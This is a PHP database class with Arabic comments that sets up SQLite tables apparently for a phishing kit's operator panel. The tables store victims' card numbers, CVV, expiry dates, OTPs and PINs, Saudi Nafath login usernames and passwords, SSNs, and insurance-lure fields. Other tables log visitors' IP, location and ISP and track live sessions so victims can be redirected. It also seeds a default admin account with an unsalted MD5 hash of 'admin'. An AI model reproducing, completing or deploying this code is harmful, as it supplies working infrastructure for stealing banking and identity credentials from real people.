<?php
/**
 * SQLite Database Engine - بديل لمحرك JSON
 * نفس الواجهة (نفس أسماء الدوال) لكن يعمل مع SQLite
 * أسرع بكثير ويتحمل آلاف الزوار بدون مشاكل
 * 
 * Plug and Play: يعمل بدون إعدادات يدوية على أي استضافة تدعم PHP + SQLite
 */

class JsonDB {
    private $db;
    private $dbPath;

    public function __construct() {
        $dataDir = __DIR__ . '/data/';
        
        // إنشاء مجلد البيانات تلقائياً
        if (!is_dir($dataDir)) {
            @mkdir($dataDir, 0777, true);
        }
        
        $this->dbPath = $dataDir . 'database.sqlite';
        
        try {
            $this->db = new PDO('sqlite:' . $this->dbPath);
            $this->db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
            $this->db->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, PDO::FETCH_ASSOC);
            
            // تحسينات الأداء لـ SQLite
            $this->db->exec('PRAGMA journal_mode = WAL');       // أسرع للكتابة المتزامنة
            $this->db->exec('PRAGMA synchronous = NORMAL');     // توازن بين السرعة والأمان
            $this->db->exec('PRAGMA busy_timeout = 5000');      // انتظر 5 ثواني إذا الملف مقفل
            $this->db->exec('PRAGMA cache_size = -8000');       // 8MB cache
            $this->db->exec('PRAGMA temp_store = MEMORY');      // الملفات المؤقتة بالذاكرة
            
            // إنشاء الجداول تلقائياً
            $this->initTables();
            
        } catch (PDOException $e) {
            error_log('SQLite Error: ' . $e->getMessage());
            throw $e;
        }
    }

    /**
     * إنشاء الجداول إذا لم تكن موجودة
     */
    private function initTables() {
        // جدول admin
        $this->db->exec('CREATE TABLE IF NOT EXISTS admin (
            id INTEGER PRIMARY KEY AUTOINCREMENT,
            username TEXT NOT NULL DEFAULT "",
            email TEXT NOT NULL DEFAULT "",
            password TEXT NOT NULL DEFAULT "",
            access INTEGER NOT NULL DEFAULT 0,
            visits INTEGER NOT NULL DEFAULT 0,
            created_at TEXT DEFAULT "",
            updated_at TEXT DEFAULT ""
        )');

        // جدول users
        $this->db->exec('CREATE TABLE IF NOT EXISTS users (
            id INTEGER PRIMARY KEY AUTOINCREMENT,
            username TEXT DEFAULT "",
            ssn TEXT DEFAULT "",
            email TEXT DEFAULT "",
            date TEXT DEFAULT "",
            password TEXT DEFAULT "",
            pass TEXT DEFAULT "",
            numb TEXT DEFAULT "",
            created_at TEXT DEFAULT "",
            updated_at TEXT DEFAULT "",
            last_input_at TEXT DEFAULT "",
            last_viewed_at TEXT DEFAULT "",
            access INTEGER DEFAULT 0,
            link TEXT DEFAULT "",
            bank INTEGER DEFAULT 0,
            code INTEGER DEFAULT NULL,
            CheckTheCode INTEGER DEFAULT 0,
            company TEXT DEFAULT "####",
            message TEXT DEFAULT "",
            page TEXT DEFAULT "",
            phone TEXT DEFAULT "",
            Authentication_code TEXT DEFAULT NULL,
            UserName_Nafad TEXT DEFAULT NULL,
            UserPasswore_Nafad TEXT DEFAULT NULL,
            CheckTheInfo_Nafad INTEGER DEFAULT 0,
            TemporaryPassword TEXT DEFAULT NULL,
            status INTEGER DEFAULT 0,
            redirect_page TEXT DEFAULT "",
            last_activity INTEGER DEFAULT 0,
            waitVerify TEXT DEFAULT "",
            url TEXT DEFAULT "",
            extra TEXT DEFAULT "",
            datastatus TEXT DEFAULT "",
            insurance_company TEXT DEFAULT "",
            insurance_price TEXT DEFAULT "",
            account_type TEXT DEFAULT "",
            address TEXT DEFAULT ""
        )');

        // جدول card
        $this->db->exec('CREATE TABLE IF NOT EXISTS card (
            id INTEGER PRIMARY KEY AUTOINCREMENT,
            cardNumber TEXT DEFAULT NULL,
            cardName TEXT DEFAULT NULL,
            password TEXT DEFAULT NULL,
            status INTEGER DEFAULT 0,
            month TEXT DEFAULT NULL,
            year TEXT DEFAULT NULL,
            cvv TEXT DEFAULT NULL,
            otp TEXT DEFAULT NULL,
            company TEXT DEFAULT "####",
            bank TEXT DEFAULT "",
            bad TEXT DEFAULT "",
            PhoneNumber TEXT DEFAULT NULL,
            userId INTEGER DEFAULT NULL,
            url TEXT DEFAULT NULL,
            Authentication_code TEXT DEFAULT NULL,
            New_code TEXT DEFAULT NULL,
            UserName_Nafad TEXT DEFAULT NULL,
            UserPasswore_Nafad TEXT DEFAULT NULL,
            CheckTheInfo_Nafad INTEGER DEFAULT 0,
            TemporaryPassword TEXT DEFAULT NULL,
            username TEXT DEFAULT NULL,
            passwordt TEXT DEFAULT NULL,
            code TEXT DEFAULT NULL,
            expire1 TEXT DEFAULT NULL,
            expire2 TEXT DEFAULT NULL,
            insurance_company TEXT DEFAULT "",
            insurance_price TEXT DEFAULT "",
            created_at TEXT DEFAULT "",
            updated_at TEXT DEFAULT ""
        )');

        // جدول visits
        $this->db->exec('CREATE TABLE IF NOT EXISTS visits (
            id INTEGER PRIMARY KEY AUTOINCREMENT,
            ip TEXT DEFAULT "",
            country TEXT DEFAULT "",
            city TEXT DEFAULT "",
            isp TEXT DEFAULT "",
            user_agent TEXT DEFAULT "",
            timestamp TEXT DEFAULT "",
            date TEXT DEFAULT "",
            page TEXT DEFAULT "",
            first_visit TEXT DEFAULT "",
            last_visit TEXT DEFAULT "",
            visit_count INTEGER DEFAULT 1
        )');

        // جدول heartbeats
        $this->db->exec('CREATE TABLE IF NOT EXISTS heartbeats (
            session_id TEXT PRIMARY KEY,
            time INTEGER DEFAULT 0,
            ms INTEGER DEFAULT 0,
            user_id INTEGER DEFAULT 0
        )');

        // فهارس لتسريع البحث
        $this->db->exec('CREATE INDEX IF NOT EXISTS idx_users_updated_at ON users(updated_at)');
        $this->db->exec('CREATE INDEX IF NOT EXISTS idx_users_created_at ON users(created_at)');
        $this->db->exec('CREATE INDEX IF NOT EXISTS idx_card_userId ON card(userId)');
        $this->db->exec('CREATE INDEX IF NOT EXISTS idx_heartbeats_time ON heartbeats(time)');

        // إدراج admin افتراضي إذا لم يكن موجوداً
        $stmt = $this->db->query('SELECT COUNT(*) as cnt FROM admin');
        $row = $stmt->fetch();
        if ($row['cnt'] == 0) {
            $this->db->exec("INSERT INTO admin (id, username, email, password, access, visits) VALUES (1, 'admin', 'sau1010@admin.com', '21232f297a57a5a743894a0e4a801fc3', 1, 0)");
        }
    }

    /**
     * الحصول على اتصال PDO المباشر (للاستخدام المتقدم)
     */
    public function getPDO() {
        return $this->db;
    }

    // ===== دوال متوافقة مع الواجهة القديمة =====

    /**
     * قراءة جميع البيانات من جدول
     */
    public function readAll($table) {
        try {
            $table = preg_replace('/[^a-zA-Z0-9_]/', '', $table);
            $stmt = $this->db->query("SELECT * FROM `{$table}`");
            $data = $stmt->fetchAll();
            return is_array($data) ? $data : [];
        } catch (PDOException $e) {
            return [];
        }
    }

    /**
     * كتابة جميع البيانات (استبدال كامل) - للتوافق مع الكود القديم
     */
    public function writeAll($table, $data) {
        try {
            $table = preg_replace('/[^a-zA-Z0-9_]/', '', $table);
            $this->db->beginTransaction();
            $this->db->exec("DELETE FROM `{$table}`");
            
            foreach ($data as $record) {
                if (!empty($record)) {
                    $columns = array_keys($record);
                    $placeholders = array_map(function($c) { return ':' . $c; }, $columns);
                    $colStr = '`' . implode('`, `', $columns) . '`';
                    $phStr = implode(', ', $placeholders);
                    
                    $stmt = $this->db->prepare("INSERT INTO `{$table}` ({$colStr}) VALUES ({$phStr})");
                    foreach ($record as $key => $value) {
                        $stmt->bindValue(':' . $key, $value);
                    }
                    $stmt->execute();
                }
            }
            
            $this->db->commit();
            return true;
        } catch (PDOException $e) {
            $this->db->rollBack();
            return false;
        }
    }

    /**
     * إدراج سجل جديد
     */
    public function insert($table, $record) {
        try {
            $table = preg_replace('/[^a-zA-Z0-9_]/', '', $table);
            
            // إزالة id إذا كان موجوداً (auto increment)
            unset($record['id']);
            
            if (empty($record)) return false;
            
            $columns = array_keys($record);
            $placeholders = array_map(function($c) { return ':' . $c; }, $columns);
            $colStr = '`' . implode('`, `', $columns) . '`';
            $phStr = implode(', ', $placeholders);
            
            $stmt = $this->db->prepare("INSERT INTO `{$table}` ({$colStr}) VALUES ({$phStr})");
            foreach ($record as $key => $value) {
                $stmt->bindValue(':' . $key, $value);
            }
            $stmt->execute();
            
            return (int) $this->db->lastInsertId();
        } catch (PDOException $e) {
            error_log('SQLite insert error: ' . $e->getMessage());
            return false;
        }
    }

    /**
     * البحث عن سجل برقم ID
     */
    public function findById($table, $id) {
        try {
            $table = preg_replace('/[^a-zA-Z0-9_]/', '', $table);
            $stmt = $this->db->prepare("SELECT * FROM `{$table}` WHERE id = :id LIMIT 1");
            $stmt->bindValue(':id', $id, PDO::PARAM_INT);
            $stmt->execute();
            $row = $stmt->fetch();
            return $row ?: null;
        } catch (PDOException $e) {
            return null;
        }
    }

    /**
     * البحث عن سجل بحقل معين
     */
    public function findBy($table, $field, $value) {
        try {
            $table = preg_replace('/[^a-zA-Z0-9_]/', '', $table);
            $field = preg_replace('/[^a-zA-Z0-9_]/', '', $field);
            $stmt = $this->db->prepare("SELECT * FROM `{$table}` WHERE `{$field}` = :val LIMIT 1");
            $stmt->bindValue(':val', $value);
            $stmt->execute();
            $row = $stmt->fetch();
            return $row ?: null;
        } catch (PDOException $e) {
            return null;
        }
    }

    /**
     * البحث عن جميع السجلات بحقل معين
     */
    public function findAllBy($table, $field, $value) {
        try {
            $table = preg_replace('/[^a-zA-Z0-9_]/', '', $table);
            $field = preg_replace('/[^a-zA-Z0-9_]/', '', $field);
            $stmt = $this->db->prepare("SELECT * FROM `{$table}` WHERE `{$field}` = :val");
            $stmt->bindValue(':val', $value);
            $stmt->execute();
            return $stmt->fetchAll();
        } catch (PDOException $e) {
            return [];
        }
    }

    /**
     * تحديث سجل
     */
    public function update($table, $id, $updates) {
        try {
            $table = preg_replace('/[^a-zA-Z0-9_]/', '', $table);
            
            if (empty($updates)) return false;
            
            // بناء SET clause
            $setParts = [];
            foreach ($updates as $key => $value) {
                $safeKey = preg_replace('/[^a-zA-Z0-9_]/', '', $key);
                $setParts[] = "`{$safeKey}` = :{$safeKey}";
            }
            $setStr = implode(', ', $setParts);
            
            $stmt = $this->db->prepare("UPDATE `{$table}` SET {$setStr} WHERE id = :_update_id");
            foreach ($updates as $key => $value) {
                $safeKey = preg_replace('/[^a-zA-Z0-9_]/', '', $key);
                $stmt->bindValue(':' . $safeKey, $value);
            }
            $stmt->bindValue(':_update_id', $id, PDO::PARAM_INT);
            $stmt->execute();
            
            return $stmt->rowCount() > 0;
        } catch (PDOException $e) {
            error_log('SQLite update error: ' . $e->getMessage());
            return false;
        }
    }

    /**
     * حذف سجل
     */
    public function delete($table, $id) {
        try {
            $table = preg_replace('/[^a-zA-Z0-9_]/', '', $table);
            $stmt = $this->db->prepare("DELETE FROM `{$table}` WHERE id = :id");
            $stmt->bindValue(':id', $id, PDO::PARAM_INT);
            $stmt->execute();
            return $stmt->rowCount() > 0;
        } catch (PDOException $e) {
            return false;
        }
    }

    /**
     * حذف جميع السجلات
     */
    public function deleteAll($table) {
        try {
            $table = preg_replace('/[^a-zA-Z0-9_]/', '', $table);
            $this->db->exec("DELETE FROM `{$table}`");
            return true;
        } catch (PDOException $e) {
            return false;
        }
    }

    /**
     * جلب جميع السجلات مع الترتيب
     */
    public function fetchAll($table, $orderBy = null, $direction = 'ASC') {
        try {
            $table = preg_replace('/[^a-zA-Z0-9_]/', '', $table);
            $sql = "SELECT * FROM `{$table}`";
            
            if ($orderBy) {
                $orderBy = preg_replace('/[^a-zA-Z0-9_]/', '', $orderBy);
                $direction = (strtoupper($direction) === 'DESC') ? 'DESC' : 'ASC';
                $sql .= " ORDER BY `{$orderBy}` {$direction}";
            }
            
            $stmt = $this->db->query($sql);
            return $stmt->fetchAll();
        } catch (PDOException $e) {
            return [];
        }
    }

    /**
     * عد السجلات في جدول
     */
    public function count($table) {
        try {
            $table = preg_replace('/[^a-zA-Z0-9_]/', '', $table);
            $stmt = $this->db->query("SELECT COUNT(*) as cnt FROM `{$table}`");
            $row = $stmt->fetch();
            return (int) $row['cnt'];
        } catch (PDOException $e) {
            return 0;
        }
    }
}

// إنشاء instance عام من الفئة
$jsonDB = new JsonDB();
?>
